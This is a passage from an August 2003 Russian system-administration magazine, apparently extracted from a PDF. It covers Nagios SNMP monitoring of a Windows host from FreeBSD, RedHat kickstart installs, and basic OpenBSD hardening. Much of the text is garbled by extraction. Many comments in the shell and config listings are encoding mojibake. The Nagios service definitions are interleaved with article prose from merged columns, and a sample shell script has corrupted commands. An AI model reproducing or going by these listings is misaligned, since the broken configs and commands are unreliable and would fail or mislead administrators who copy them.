модуль check_snmp. Ну а тот, в свою очередь, опирает-
ся на пакет программ net-snmp, предназначенный для
работы с протоколом SNMP. Многим из администрато-
ров этот пакет известен под старым названием ucd-
snmp. Вы можете использовать либо ucd-snmp, либо net-
snmp. Я же по своей давно укоренившейся привычке
стараюсь использовать новейшее из доступного на дан-
ный момент программного обеспечения. Поэтому, выб-
рав net-snmp, скачиваю самую последнюю версию па-
кета отсюда: http://net-snmp.sourceforge.net/. На момент
написания статьи это была версия 5.0.8. Распаковываю
архив исходного кода и начинаю установку.
# tar zxvf net-snmp-5.0.8.tar.gz
После того как я запустил скрипт configure, на экране
появилось несколько вопросов, на которые обязательно
нужно дать ответ.
# ./configure
Defaul version of SNMP to use (3): 3
# Âåðñèÿ ïðîòîêîëà SNMP, êîòîðóþ íàäëåæèò èñïîëüçîâàòü
# ïî óìîë÷àíèþ äëÿ âñåõ çàïðîñîâ.
# Ìîæíî íàïèñàòü 1, 2c, 3. ß, êàê âñåãäà, âûáðàë ñàìóþ íîâóþ.

System contact infomation root@: tigrisha@sysadmins.ru
# Àäðåñ ëèöà, îòâåòñòâåííîãî çà ðàáîòó SNMP. Ìîæíî ïèñàòü
# ÷òî óãîäíî.
System Location (Unknown): home
# Ãåîãðàôè÷åñêîå ìåñòîïîëîæåíèå ýòîé ìàøèíû. Ñíîâà ìîæíî
# ïèñàòü âñå, ÷òî ïðèäåò â ãîëîâó.
Location to write log file /var/log/snmpd.log: ↵
/var/log/snmpd.log
# Ñþäà äåìîí snmpd áóäåò çàïèñûâàòü ôàéëû æóðíàëîâ ñâîåé ðàáîòû
Location to write persistent information /var/net/snmp: ↵
/var/net/snmp
# À òóò ïîäñèñòåìà SNMP áóäåò õðàíèòü ñâîþ ðàáî÷óþ èíôîðìàöèþ
Убедившись в том, что скрипт configure завершил ра-
боту без ошибок, начинаем сборку.
# make
Затем, задав с помощью команды umask права на все
вновь создаваемые файлы, проводим инсталляцию.
# umask 022
# make install
Все выполняемые файлы программ из этого пакета ус-
танавливаются в /usr/local/bin/. Этот факт желательно за-
помнить, потому что в будущем подобные знания нам очень
пригодятся. По завершении установки в /usr/local/bin по-
явятся следующие утилиты для работы с SNMP:

snmpbulkget
snmpnetstat

snmpbulkwalk
snmpset

snmpcheck
snmpstatus

snmpconf
snmptable

snmpdelta
snmptes

snmpdf
snmptranslate

snmpget
snmptrap

snmpget.old
snmpusm

snmpgetnext
snmpvacm

snmpinform
snmpwalk
Не стоит отчаиваться, если процедура инсталляции
по каким-либо причинам у вас не сработает. Net-snmp,
как и ucd-snmp, можно установить из портов или паке-
тов, поставляющихся вместе с FreeBSD. Например, в ди-
стрибутиве FreeBSD 4.7, на которой работает описыва-
емая система, обе вышеназванных программы можно
получить с 4 диска, содержащего коллекцию пакетов.
Оба упомянутых пакета находятся внутри ветки Net. Я
надеюсь, вы умеете самостоятельно устанавливать про-
граммы из портов или пакетов. Если брать программы
из этой коллекции, то мы можем стать обладателями
довольно свежих экземпляров net-snmp версии 5.0.3_2
или ucd-snmp версии 4.2.5_2. Каким путем пойти, остав-
ляю полностью на ваше усмотрение. Все три способа
установки проверены мною лично. Могу сказать, что они
работают нормально, и наступить на грабли можно толь-
ко при фатальном невезении.
После инсталляции нужно провести некоторые дей-
ствия, необходимые для более безопасной работы сер-
вера мониторинга. В комплекте обоих вышеперечислен-
ных программ поставляется демон SNMP. Несмотря на
все свои достоинства, этот демон нам не нужен, так как
№8(9), август 2003
администрирование
наша FreeBSD-машина не будет принимать входящие
SNMP-запросы. Для того чтобы создавать исходящие зап-
росы, его функциональность тоже не требуется. Опира-
ясь на эти умозаключения, сначала останавливаем, а за-
тем и полностью отключаем демона snmpd. Для отключе-
ния нужно снять атрибут выполнения со скрипта /usr/local/
etc/rc.d/snmpd.sh, запускающего демона после каждой
перезагрузки системы.
# /usr/local/etc/rc.d/snmpd.sh stop
# chmod ugo-x /usr/local/etc/rc.d/snmpd.sh
Я надеюсь, что все помнят: подключаемые модули
Nagios находятся в пакете nagios-plugins. Я использовал
версию 1.3.0 – beta 3. Несмотря на то, что этот пакет у
вас, скорее всего, уже установлен, модуля check_snmp
в директории /usr/local/libexec/, скорее всего, нет. Такой
поворот событий встречается довольно часто. А про-
изошло это потому, что на машину сначала был уста-
новлен nagios-plugins и только затем одна из версий
snmp. Скрипт configure, выполняемый перед компиляци-
ей модулей, пытаясь удовлетворить все зависимости,
запрашиваемые пакетом, не нашел на вашей машине
ни ucd-snmp, ни net-snmp. Значит, нам нужно сконфигу-
рировать пакет nagios-plugins заново. После распаковки
переходим в каталог с исходными текстами nagios-plugins
и выполняем следующие команды:
# ./configure --prefix=/usr/local/nagios ↵
--with-nagios-user=nagios --with-nagios-grp=nagios
# gmake all
# gmake install
Разобравшись с первоначальной настройкой, присту-
пим к изучению того, как это работает. Для сбора данных
модуль check_snmp использует программу snmpget. Да-
вайте попробуем выполнить из командной строки провер-
ку времени работы Windows-машины с момента после-
дней перезагрузки.
#/usr/local/nagios/libexec/check_snmp -H win2000rus ↵
-C QWEmn90 -o system.sysUpTime.0
SNMP problem - No data recieved from host
CMD: /usr/local/bin/snmpget -m ALL -v 1 ↵
-c QWEmn90 win2000rus system.sysUpTime.0
Получив ошибку, не огорчаемся, а читаем статью даль-
ше. Поняв механизмы действия модуля, мы сможем по-
чинить его самостоятельно. Итак, давайте окунемся с го-
ловой в теорию функционирования модуля check_snmp.
При каждом запуске check_snmp создает дочерний про-
цесс snmpget, которому передаются следующие парамет-
ры запроса.
-v 1
# Âåðñèÿ ïðîòîêîëà. Windows ïîääåðæèâàåò âåðñèè 1 è 2c.
# Ëó÷øå èñïîëüçîâàòü 2ñ, ïîòîìó ÷òî âåðñèÿ 1 íåáåçîïàñíà.
–m ALL
# Ïðèêàçûâàåì èñïîëüçîâàòü âñå èìåþùèåñÿ ôàéëû MIB
–c QWEmn90
# Èìÿ ñîîáùåñòâà, èñïîëüçóåìîå äëÿ äîñòóïà ê äàííûì.
# Ïîçâîëÿåò òîëüêî ÷òåíèå.
win2000rus
# Èìÿ èëè IP-àäðåñ ìàøèíû, êîòîðîé íóæíî îòïðàâèòü çàïðîñ.
21
 администрирование
OID
# Èäåíòèôèêàòîð îáúåêòà, â êîòîðîì íàõîäÿòñÿ èíòåðåñóþùèå
# íàñ äàííûå.
В свою очередь, результаты работы snmpget обраба-
тываются check_snmp и передаются Nagios. Вот тут нас
поджидают две ловушки. Проблема первая состоит в
том, что формат вызова snmpget зависит от того, из ка-
кого пакета производилась установка средств для рабо-
ты с SNMP.
Рассмотрим различия на примере команды, которая дол-
жна получить с удаленной машины время работы системы.
Версия net-snmp:
# /usr/local/bin/snmpget -v2c –m ALL ↵
–c QWEmn90 win2000rus system.sysUpTime.0
Версия ucd-snmp:
# /usr/local/bin/snmpget –m ALL –c QWEmn90 ↵
-v2c win2000rus system.sysUpTime.0
Выполните обе команды и, в зависимости от версии
SNMP-программ, полюбуйтесь на появившиеся ошибки.
Вторая проблема состоит в том, что snmpget упрямо не
хочет работать с OID, созданными SNMP4W2K и
SNMP4NT. К примеру, попробуйте выполнить два разных
варианта команды, получающей с удаленной машины
данные о загрузке процессора. Обратите внимание, OID
для краткости записан в цифровом виде.
Версия net-snmp:
# /usr/local/bin/snmpget -v2c –m ALL ↵
–c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Версия ucd-snmp:
# /usr/local/bin/snmpget –m ALL –c QWEmn90 ↵
-v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Казалось бы, вид ошибок, полученных в ответ на ко-
манды, должен повергнуть нас в жесточайшее разочаро-
вание. Но не тут то было. Вместо snmpget мы станем ис-
пользовать программу snmpwalk, которая гораздо ста-
бильнее работает с нестандартными OID. Итак, переде-
лываем наши команды и снова радуемся жизни.
Версия net-snmp:
# /usr/local/bin/snmpwalk -v2c –m ALL ↵
–c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Версия ucd-snmp:
# /usr/local/bin/snmpwalk –m ALL –c QWEmn90 ↵
-v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
Разобравшись с этими мелкими проблемами, перехо-
дим к работе по исправлению модуля check_snmp. Идем в
директорию plugins и открываем на редактирование файл
исходного кода check_snmp.c. Ищем в нем вот такой фраг-
мент текста, отвечающий за вызов команды snmp_get:
/* create the command line to execute */
command_line = ssprintf
(command_line,
"%s -m ALL -v 1 %s %s %s",
PATH_TO_SNMPGET, server_address, community, oid);
22
Найдя нужный фрагмент, заменяем его на вариант для
своей версии пакета snmp.
Версия net-snmp:
/* create the command line to execute */
command_line = ssprintf
(command_line,
"%s -v2c -m ALL -c %s %s %s",
"/usr/local/bin/snmpwalk",community, ↵
server_address, oid);
Версия ucd-snmp:
/* create the command line to execute */
command_line = ssprintf
(command_line,
"%s -m ALL -c %s -v2c %s %s",
"/usr/local/bin/snmpwalk",community, ↵
server_address, oid);
Сохранившись, выходим и запускаем повторно ком-
пиляцию, а затем уже и инсталляцию.
# gmake all
# gmake install
Теперь пришло время снова проверить работоспособ-
ность модуля check_snmp. Для этого мы попытаемся по-
лучить многократно упоминаемые ранее данные о загруз-
ке процессора Windows-машины. Заодно узнаем, насколь-
ко правильно работает OID из коллекции SNMP4W2K:
#/usr/local/nagios/libexec/check_snmp -H win2000rus ↵
-C QWEmn90 -o .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1
SNMP OK - INTEGER: 12
Судя по полученному ответу, модуль наконец-то зара-
ботал как положено. Загрузка процессора равна 12%, что,
в общем, очень даже неплохо.
Теперь приступим к настройке самого Nagios. Первым
делом в файле checkcommands.cfg нам нужно определить
команду check_snmp_oid, которую мы будем использовать
для сбора данных.
define command{
command_name check_snmp_oid
command_line $USER1$/check_snmp -H $HOSTADDRESS$ ↵
-o $ARG1$ -C $ARG2$ -w $ARG3$ -c $ARG4$ ↵
-u $ARG5$ -l ""
}
Давайте разберемся со значением макросов, переда-
ваемых команде check_snmp.

$USER1$ – путь к директории /usr/local/nagios/libexec/;

$HOSTADDRESS$ – адрес проверяемой машины;

$ARG1$ – OID, данные которого мы будем читать;

$ARG2$ – имя сообщества SNMP;

$ARG3$ – порог, при достижении которого нужно ге-
нерировать предупреждение;

$ARG4$ – порог критического состояния;

$ARG5$ – данные, которые необходимо добавить к вы-
водимому результату. Например, для удобства можно
к результатам запросов о свободной памяти дописы-
вать строку «bytes».
Обратите внимание на опцию -l "". Она позволяет за-
менить строку, добавляющую в результате статус snmp-
 администрирование
запроса. Обычно статус выглядит так «SNMP OK». Мне normal_check_interval 1
retry_check_interval 1
эта строка показалась лишней, поэтому я заменяю ее пу- contact_groups win-admins
стотой. notification_interval 120
notification_period 24x7
В дальнейшем я предполагаю, что вы, прочитав пер- notification_options c,r
вую часть статьи, внесли все необходимые для работы с # Îáðàòèòå âíèìàíèå íà òî, ÷òî ïîðîãè ïðåäóïðåæäåíèÿ è
# êðèòè÷åñêîãî ñîñòîÿíèÿ äëÿ äàííîãî ñåðâèñà ñìûñëà íå
машиной win2000rus данные в файлы hosts.cfg, # èìåþò, ïîýòîìó îòêëþ÷åíû ñ ïîìîøüþ ïóñòûõ êàâû÷åê “”.
hostgroups.cfg, поэтому говорить о них мы не будем. Ра- # Äîïèñûâàòü â ðåçóëüòàò òîæå íè÷åãî íå áóäåì, à çíà÷èò,
# ñíîâà íóæíî èñïîëüçîâàòü “”
зобравшись с определением команд, переходим к описа- check_command check_snmp_oid! ↵
нию тестируемых сервисов. .1.3.6.1.2.1.1.3!QWEmn90!""!""!""
}
# Ñåðâèñ, ïîêàçûâàþùèé äàííûå î ïðîöåíòå èñïîëüçîâàíèÿ # Ïðîöåíò èñïîëüçîâàíèÿ âèðòóàëüíîé ïàìÿòè
# ôàéëà ïîäêà÷êè define service{
define service{ use generic-service
use generic-service host_name win2000rus
host_name win2000rus service_description SNMP Virtual Memory usage
service_description SNMP Page File Usage is_volatile 0
is_volatile 0 check_period 24x7
check_period 24x7 max_check_attempts 3
max_check_attempts 3 normal_check_interval 1
normal_check_interval 1 retry_check_interval 1
retry_check_interval 1 contact_groups win-admins
contact_groups win-admins notification_interval 120
notification_interval 120 notification_period 24x7
notification_period 24x7 notification_options c,r
notification_options c,r check_command
# Ïîðîã ïðåäóïðåæäåíèÿ óñòàíàâëèâàåì íà 80%, à êðèòè÷åñêîå # Ïîðîã ïðåäóïðåæäåíèÿ óñòàíàâëèâàåì
# ñîñòîÿíèå íà 90%. # íà äîñòèæåíèè 80% çàïîëíåíèÿ,
# Îáðàòèòå âíèìàíèå íà çíàê “%”, ïåðåäàâàåìûé â ïîñëåäíåì # ñîîòâåòñòâóþùèõ 25 479 7360 áàéòàì, è êðèòè÷åñêîå ñîñòîÿíèå,
# àðãóìåíòå. Ìû ïðèñîåäèíÿåì ýòîò çíàê ê ðåçóëüòàòàì, # íàñòóïàþùåå ïðè çàïîëíåíèè 90% ïàìÿòè, óñòàíàâëèâàåì
# âîçâðàùàåìûì ïîñëå âûïîëíåíèÿ çàïðîñà. # íà îòìåòêó â 286 647 030 áàéò.
check_command check_snmp_oid! ↵ # Â ðåçóëüòàò, âîçâðàùàåìûé ìîäóëåì, äîáàâëÿåì ñòðîêó “bytes”
.1.3.6.1.4.1.311.1.1.3.1.1.6.1.3!QWEmn90!80!90!% check_snmp_oid!.1.3.6.1.4.1.311.1.1.3.1.1.1.3.0! ↵
} QWEmn90!254797360!286647030!bytes
}
# Äàííûå î çàãðóçêå ïðîöåññîðà, ñîáèðàåìûå
# ÷åðåç SNMP4W2K # Ñêîëüêî ìåñòà èçðàñõîäîâàíî íà äèñêå C:\
define service{ define service{
use generic-service use generic-service
host_name win2000rus host_name win2000rus
service_description SNMP CPU Load service_description SNMP Space used on disk C:\
is_volatile 0 is_volatile 0
check_period 24x7 check_period 24x7
max_check_attempts 3 max_check_attempts 3
normal_check_interval 1 normal_check_interval 1
retry_check_interval 1 retry_check_interval 1
contact_groups win-admins contact_groups win-admins
notification_interval 120 notification_interval 120
notification_period 24x7 notification_period 24x7
notification_options c,r notification_options c,r
check_command check_snmp_oid! ↵ # Ïîðîã ïðåäóïðåæäåíèÿ íàñòóïàåò ïðè ðàñõîäå 80% ïðîñòðàíñòâà
.1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1!QWEmn90!80!90!% # äèñêà, ñîîòâåòñòâåííî, 835367 áëîêà. Êðèòè÷åñêîå ñîñòîÿíèå
} # íàñòóïàåò ïðè çàïîëíåíèè 90% ïðîñòðàíñòâà. Äëÿ ìîåé ìàøèíû
# ýòî 938788 áëîêîâ.  îò÷åò, âîçâðàùàåìûé ìîäóëåì,
# Äàííûå î çàãðóçêå ïðîöåññîðà, ñîáèðàåìûå ÷åðåç # äîáàâëÿåì ñòðîêó “blocks”
# ñòàíäàðòíóþ âåòêó .iso.org.dod.internet.mgmt. ↵ check_command check_snmp_oid! ↵
# mib-2.host.hrDevice.hrProcessorTable.hrProcessorEntry. ↵ .1.3.6.1.2.1.25.2.3.1.6.2!QWEmn90!835367!938788!blocks
# hrProcessorLoad }
define service{
use generic-service Теперь, когда с настройкой закончено, заставляем
host_name win2000rus
service_description SNMP hrProcessorLoad Nagios загрузить обновленные файлы конфигурации.
is_volatile 0
check_period 24x7
max_check_attempts 3 # /usr/local/etc/rc.d/nagios
normal_check_interval 1
retry_check_interval 1
contact_groups win-admins Если ошибок не возникло, то немножко радуемся и при-
notification_interval 120 ступаем к созданию критических ситуаций на Windows-
notification_period 24x7
notification_options c,r машине. Проведя полное стрессовое тестирование сис-
check_command check_snmp_oid! ↵ темы, понимаем, что теперь ни один сбой системы не за-
.1.3.6.1.2.1.25.3.3.1.2.2!QWEmn90!80!90!%
} станет нас врасплох. В заключение статьи хотелось бы
сказать, что SNMP4W2K позволяет следить за гораздо
# Âðåìÿ ðàáîòû ñèñòåìû ñ ìîìåíòà
# ïîñëåäíåé ïåðåçàãðóçêè большим набором показателей здоровья сервера и служб,
define service{ работающих под управлением Windows, чем я смог опи-
use generic-service
host_name win2000rus сать в этой статье. Я думаю, после такого продолжитель-
service_description SNMP Up Time ного, но, надеюсь, увлекательного обучения каждый из
is_volatile 0
check_period 24x7 вас сможет воспользоваться всей мощью, предоставляе-
max_check_attempts 3 мой SNMP.

№8(9), август 2003 23

администрирование

ПИНГВИН
С ОДНОГО ПИНКА

Иногда возникает ситуация, когда

необходимо установить дистрибутив
Linux сразу на несколько компьютеров
или часто его переустанавливать.
При этом процесс установки в конце
концов начинает надоедать, и хочется
как-то сократить или автоматизировать
его. Все проще простого: в RedHat,
начиная с версии 5.0, имеется
технология, позволяющая установить
его буквально за пару кликов, при этом
все необходимые переменные будут
выставлены, диск разбит на указанные
разделы и установлены выбранные
пакеты.

СЕРГЕЙ ЯРЕМЧУК
24

Все началось с того, что при очередной установке RedHat 9
я не обратил внимание на сообщение (см. скриншот), в ко-
тором были указаны файлы протокола установки и некий
файл kickstart.
Если с первым файлом /root/install.log все ясно с пер-
вого взгляда, в нем содержится список всех установлен-
ных пакетов (как не убирал лишнее, все равно оказалось
много хлама) и ошибки при установке некоторых из этих
пакетов. Приблизительно в таком виде:
Óñòàíîâêà 887 ïàêåòîâ
Óñòàíîâêà glibc-common-2.3.2-11.9.
….
Óñòàíîâêà hwdata-0.75-1.
Ôàéë OMF [/usr/local/share/omf/file-roller/file-roller-C.omf] ↵
íå ÿâëÿåòñÿ äîïóñòèìûì ñ òî÷êè çðåíèÿ ScrollKeeper-OMF DTD: ↵
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
Íåâîçìîæíî çàðåãèñòðèðîâàòü ↵
/usr/local/share/omf/file-roller/file-roller-C.omf
Óñòàíîâêà redhat-logos-1.1.12-1
И так все 887 пакетов, которые установлены, поэтому
после инсталляции можно спокойно просмотреть, что там
все-таки наустанавливали и после этого уже не удивлять-
ся, куда все свободное место делось. А вот второй файл
/root/anaconda-ks.cfg меня удивил и озадачил одновремен-
но. Посмотрите сами, что там нашлось:
# Kickstart file automatically generated by anaconda.
install
lang ru_RU.UTF-8
langsupport --default ru_RU.UTF-8 ru_RU.UTF-8 ru_UA.UTF-8 ↵
uk_UA.UTF-8
keyboard ru_win
mouse genericwheelps/2 --device psaux
xconfig --card "RIVA128" --videoram 4096 --hsync 30-70 ↵
--vsync 50-120 --resolution
1024x768 --depth 16 --startxonboot --defaultdesktop gnome
network --device eth0 --bootproto static --ip 192.168.0.4 ↵
--netmask 255.255.255.0 --hostname grinder
rootpw --iscrypted $1(zf6ola?s$lNcDbUeKI9l&&AKJ06x4S0
firewall --medium --trust=eth0
authconfig --enableshadow --enablemd5 --enablesmbauth ↵
--smbservers grinder --smbworkgroup Gljuk
timezone Europe/Kiev
bootloader --location=mbr
# The following is the partition information you requested
# Note that any partitions you deleted are not expressed
# here so unless you clear all partitions first, this is
# not guaranteed to work
#clearpart --linux
#part / --fstype ext3 --onpart hda11
#part /mnt/win_c --fstype vfat --noformat --onpart hda2
#part /mnt/win_e --fstype vfat --noformat --onpart hda8
№8(9), август 2003
администрирование
#part /mnt/win_d --fstype vfat --noformat --onpart hda7
#part /usr/local --fstype ext3 --noformat --onpart hda6
#part /mnt/other --fstype reiserfs --noformat --onpart hda9
#part /home --fstype ext3 --noformat --onpart hda10
#part swap --onpart hda5
%packages
@ Administration Tools
@ GNOME Desktop Environment
@ Graphical Internet
@ Graphics
@ Russian Support
@ Sound and Video
@ System Tools
@ Ukrainian Support
@ X Window System
-kernel-pcmcia-cs
galeon
-gtkam
ethereal-gnome
mc
xmms-skins
fonts-KOI8-R-75dpi
Оказалось, что в этом файле расписаны ответы букваль-
но на все вопросы, на которые пришлось отвечать во время
инсталляции «Красной Шапки». Как видите, здесь можно
найти все: системные языки, клавиатурную раскладку, кон-
фигурацию мыши, графическую подсистему, введенный па-
роль root. Дополнительно закомментированы параметры раз-
бивки жесткого диска, забегая немного вперед, скажу, что
это сделано специально: при разбивке диска система оста-
новится и позволит это сделать вручную. И напоследок ука-
заны сначала все группы приложений, которые можно уста-
новить, а затем устанавливаемые пакеты, не входящие в
выбранные группы или удаленные из них. Как видите, что-
бы добавить нужный пакет, достаточно прописать его в файл
без номера версии, а убрать можно, добавив знак минус «-»
перед пакетом (список всех пакетов можно найти в /RedHat/
base/comps.xml). Наличие такого файла сразу наводит на
некоторые мысли, правильность которых я и пошел прове-
рять на сайт компании RedHat. И действительно, по адресу
http://www.redhat.com/docs/ среди прочих документов на-
шлись и искомые: RedHat Linux KickStart HOWTO, датиро-
ванный аж 1999 годом (самое интересное, что я много
раз проходил мимо него) и RedHat Customization Guide.
После прочтения которых очень расстроился. Оказалось,
что в «Шапках», начиная с 5 версии, имеется система,
позволяющая быстро установить большое количество
идентичных Linux на основании заранее определенной
конфигурации, занесенной в файл. При этом, кроме ос-
новных предопределенных действий, есть возможность
выполнить любое количество дополнительных пользова-
тельских команд (например, соединиться с Интернетом,
скачать программу и установить ее или добавить запись
в конфигурационный файл). И вообще, как вы поняли, при
частой переустановке или необходимости устанавливать
Linux на несколько компьютеров с одинаковой конфигу-
рацией это, как говорится, «то, что доктор прописал», луч-
шего и придумать нельзя.
Как же пользоваться этим файлом? А очень просто:
сначала переименовываем файл anaconda-ks.cfg в ks.cfg
(имя, разыскиваемое по умолчанию) и записываем его
на дискету. Теперь необходимо загрузиться как обычно и
при появлении приглашения ввести:
boot: linux ks=floppy
25
 администрирование
После этого останется только диски менять по запросу,
остальное система настроит сама, в том числе, если рас-
комментированы параметры настройки жесткого диска, то
и диск автоматически разобьет. Можно при этом заранее
заготовить несколько конфигурационных файлов с разны-
ми именами на все случаи жизни и необязательно разме-
щать их на дискете, но в этом случае придется указывать
полный путь к нужному файлу и используемое имя.

boot: linux ks=hd:fd0/anaconda-ks.cfg

Интересно, что если просто ввести в строке приглашения:

boot: linux ks

То система будет пытаться произвести инсталляцию при

помощи NFS, используя BOOTP и DHCP. То есть попросту
говоря, при постоянной необходимости множественной ус-
тановки RedHat можно не заготавливать кучи CD-дисков,
а создать в сети сервер NFS (Network File System) и брать
все установочные файлы оттуда, находясь вообще неиз-
вестно где, и даже диски при этом не придется менять.
Но это еще не все. Допустим, необходимо установить
дистрибутив на совсем другой компьютер и не хочется
долго возиться, а править файл вручную лень. И не надо
этого делать, так как в RedHat имеется утилита, которая
в удобной графической форме позволяет выставить все
нужные параметры и затем создать нужный файл. Вызы-
вается она очень просто: в командной строке набираем:

redhat-config-kickstart

и вслед за этим появляется окно. Как вы видите на скрин-

шотах, при помощи этой утилиты можно указать все пара-
метры, которые могут встретиться при инсталляции вплоть
до задания размеров разделов и файловых систем на них
(в том числе и RAID-массивов), настройки системы Х-Window
и выбора пакетов для установки, в конце можно приписать
команды, которые система должна выполнить до и после
установки. После выбора всех пунктов настройки сохраня-
ются в указанный файл.

26
 администрирование
Теперь восстановление системы (данные, я надеюсь,
вы и так бэкапите) после сбоев может происходить двумя
способами. Первый – архивация всей системы, что требу-
ет наличия лишнего свободного места как на жестком дис-
ке, так и вдоволь болванок и мощного процессора, иначе
процедура может заметно затянуться.
Второй способ – восстановление при помощи kickstart.
При этом учитывая, что все вновь устанавливаемые про-
граммы находятся в /usr/local, а настройки пользователя в
/home (которые желательно размещать на отдельном раз-
деле жесткого диска), их бэкапим как обычно, а чтобы не
настраивать заново всю систему, то так же сохраняем и
каталог /etc. Остальное переустанавливаем при помощи
kickstart, а затем поверх распаковываем архивы с /usr/local,
/home и /etc (может еще и /var в зависимости от назначе-
ния компьютера), если, конечно, их затронули разрушения.
После этого система будет работать как ни в чем не
бывало. Для форматирования достаточно будет указать
только корневой каталог (если только не повреждены дру-
гие), а остальные разделы примонтируются автоматичес-
ки, т.к. данные уже имеются в старом /etc/fstab. При этом
архивы можно положить в заранее определенное место (и
создавать их вообще автоматически при помощи cron,
предположим, раз в неделю), а в конец kickstart-файла до-
бавить скриптик, реализующий их последующую распаков-
ку. А чтобы файл держать всегда в боевой готовности и не
убирать затем лишнего – при каждом удалении ненужной
программы, входящей в комплект дистрибутива, добавлять
туда соответствующую строчку. Это можно опять же воз-
ложить на плечи скрипта (ручная работа – это вообще не
стиль для Unix).
Например, такого:

#! /bin/sh
for arg in $*; do
rpm -å $1 || åõit $?
echo "- $1 " >> /root/anaconda-ks.cfg && echo ↵
"Ôàéë $1 óñïåøíî óäàëåí, èíôîðìàöèÿ çàíåñåíà ↵
â /root/anaconda-ks.cfg "
shift
done

После делаем его исполняемым (chmod +x), называем

попонятнее: rpm_del (для новичков вообще рекомендую
сделать себе алиасов попонятнее, наподобие FreeBSD, то
есть rpm_del = «rpm -e», rpm_install = «rpm -Uvh» и т. д.) и
перемещаем в каталог, где его найдет переменная $PATH
(/usr/local/bin, например). Теперь из-под root вводим:

# rpm_del mozilla xemacs docbook-style-xsl

После выполнения всех этих пакетов уже не будет, и

информация об их ненужности в дальнейшем занесется
в файл. Теперь, переустановив систему, не придется уда-
лять их повторно. Можно сделать аналогичный скрипт и
на установку, но я обычно только удаляю лишнее, при-
шедшее с системой, а если что-то срочно понадобилось,
то, как правило, беру из Интернета версию посвежей.
Вот в принципе и все, что хотел рассказать. Как види-
те, инструмент довольно удобный и раскрывает широкие
возможности, а главное, экономит драгоценное время,
которого почему-то вечно не хватает.

№8(9), август 2003 27

администрирование

ПЕРВЫЕ ШАГИ

ДЕНИС НАЗАРОВ

28

Продолжим наше знакомство с OpenBSD (начало см. в
июньском номере журнала). Мы остановились на успеш-
ной установке системы и предложением перезагрузить-
ся, что, собственно говоря, и выполняем. Итак, первая заг-
рузка уже по традиции для BSD-систем выполняется на
синем фоне, и вы можете видеть, как ядро системы опра-
шивает все устройства, которые находит. Отлично, ядро
загрузилось, дальше пошел init системы (процесс, кото-
рый запускает все остальные процессы). Мы видим, как
поднимается сетевой интерфейс (в моем случае le1), до-
бавляется маршрут по умолчанию (в большинстве случа-
ев надо прописать его в /etc/mygate, я расскажу об этом
файле при конфигурировании сети), запускаются демо-
ны sendmail inetd и sshd. Торжественный момент...
Волшебная дверь в систему, которая тщательно вы-
бирает себе друзей, но если вы станете ее другом – она
сделает все для вас. Твердо и уверенно вводим root, за-
тем пароль, который мы указали при инсталляции.
Первое, о чем стоит позаботиться – проверка наличия
патчей (исправлений) для вашей системы. Конечно, шанс,
что критические исправления присутствуют, очень мал,
однако он есть. Итак, нам прямая дорога на http://
www.openbsd.org/errata.html. Веб-страница содержит ли-
стинги всех патчей, доступных для вашей версии систе-
мы и описания к ним. И вообще в дальнейшем, если у вас
не –CURRENT-система с постоянным обновлением – ре-
комендую регулярно навещать эту страницу.
Зайти как пользователь root вы можете в систему с кон-
соли и используя ssh (1) по сети. Доступ пользователя root
в систему из сети сложно назвать простой глупостью, это
огромная глупость! Он разрешен по умолчанию лишь для
тех случаев, когда система ставится удаленно (как раз все
мои случаи) и других пользователей в системе просто нет.
Успешно зайдя в систему под root, вы увидите сообщение
«Don’t login as root, use su» – даже тут система подсказы-
вает, как надо обращаться с ней. Еще одно маленькое НО.
Прежде чем запрещать вход пользователя root по сети,
обязательно добавьте простого пользователя и занесите
его в группу «wheel», иначе при удаленном администриро-
вании вы потеряете все шансы вернуть права суперполь-
зователя. Кстати, при adduser указание группы «wheel» бес-
полезно! Вручную отредактируйте файл /etc/group, чтобы
он выглядел следующим образом:
wheel:*:0:root,myusername
Теперь смело устанавливайте опцию:
PermitRootLogin no
в файле /etc/ssh/sshd_config и перезапускайте демон
sshd. Зайдя в систему под добавленным пользовате-
лем, вы сможете использовать команды su (1) и sudo (8)
для получения привилегий суперпользователя. Исполь-
зуя команду «su», система просто меняет ваш UID на
0, а используя команду «su –», система дополнительно
№8(9), август 2003
администрирование
перечитывает файл профиля (например, /root/.profile
или /root/.bash_profile и т. д.).
Пароль суперпользователя
Я думаю, не стоит описывать в этой статье, как правиль-
но выбрать пароль, слишком много уже подобных статей,
просто скажу, что пароль As52DjZ921cOx считается нор-
мальным для root. Изменить пароль можно уже знакомой
командой:
/usr/sbin/passwd
Маленькое дополнение: привыкайте сразу использо-
вать полные пути к критически важным командам. Исполь-
зуйте, например, «/usr/sbin/su –», а не просто «su –», по-
рой такие мелочи бывают очень важны. Об этом в следу-
ющих статьях.
Проверьте переменную окружения PATH (echo $PATH) –
в ней ни в коем случае не должно быть относительных
путей (начинающихся с «./») и в дальнейшем PATH супер-
пользователя ни за что не должна содержать путь теку-
щей директории «.».
Системное время
Системное время устанавливается с помощью date (1). Если
требуется поменять временной пояс системы, то это дела-
ется пересозданием символической ссылки /etc/localtime на
правильный пояс в директории /usr/share/zoneinfo.
Примеры установки времени:
Установить время и дату 22 июля 2003, 18:25 PM:
# date 200306221825
Изменить часовой пояс:
# ln -fs /usr/share/zoneinfo/Asia/Bishkek /etc/localtime
Системные демоны
Файл /etc/rc.conf отвечает за процесс загрузки системы. В
нем содержатся опции для разных загружаемых демонов
(например, sshd и sendmail). Администратор должен сде-
лать копию этого файла в /etc/rc.conf.local и уже в нем вно-
сить все исправления, которые нужны. Но я так никогда не
делаю. Просто привык работать напрямую с /etc/rc.conf.
Используя команду hostname (1), вы можете проверить
имя хоста в сети. Можно изменить имя, используя эту же
команду hostname (1) или изменив имя в файле /etc/
myname и перезапустив систему.
Сетевая конфигурация
Самое первое, что надо сделать – это набрать команду
«ifconfig –a» и посмотреть на все сетевые интерфейсы, най-
денные и отконфигурированные системой. Исправить на-
стройки можно, отредактировав файл /etc/hostname.interface
(где interface – имя сетевого интерфейса, например, le1) или
использовать ifconfig (8) для исправления настроек. Прочи-
тав страницу мануала hostname.if (5), у вас не останется ни-
каких вопросов по формату файла.
29
 администрирование
